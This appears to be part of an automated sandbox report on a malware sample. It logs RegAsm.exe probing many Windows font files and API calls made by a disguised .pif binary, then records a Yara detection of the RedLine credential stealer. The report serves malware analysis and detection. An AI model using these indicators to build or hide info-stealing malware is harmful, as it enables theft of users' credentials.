    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe VolumeInformation
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00350030 GetLocalTime,__swprintf,18_2_00350030
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00350722 GetUserNameW,18_2_00350722
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0034416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,18_2_0034416A
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00405C70 GlobalAlloc,lstrlenW,GetVersionExW,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GlobalFree,lstrcpyW,OpenProcess,CloseHandle,CharUpperW,lstrcmpW,GlobalFree,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,lstrcmpW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,FreeLibrary,CloseHandle,0_2_00405C70
    Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

    Stealing of Sensitive Information

    barindex
    Yara detected RedLine Stealer
    Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5460, type: MEMORYSTR
    Source: TurtleHarbor.pifBinary or memory string: WIN_81
    Source: TurtleHarbor.pifBinary or memory string: WIN_XP
    Source: TurtleHarbor.pifBinary or memory string: WIN_XPe
    Source: TurtleHarbor.pifBinary or memory string: WIN_VISTA
    Source: TurtleHarbor.pifBinary or memory string: WIN_7
    Source: TurtleHarbor.pifBinary or memory string: WIN_8
    Source: Intake.pif.1.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

    Remote Access Functionality

    barindex
    Yara detected RedLine Stealer
    Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5460, type: MEMORYSTR
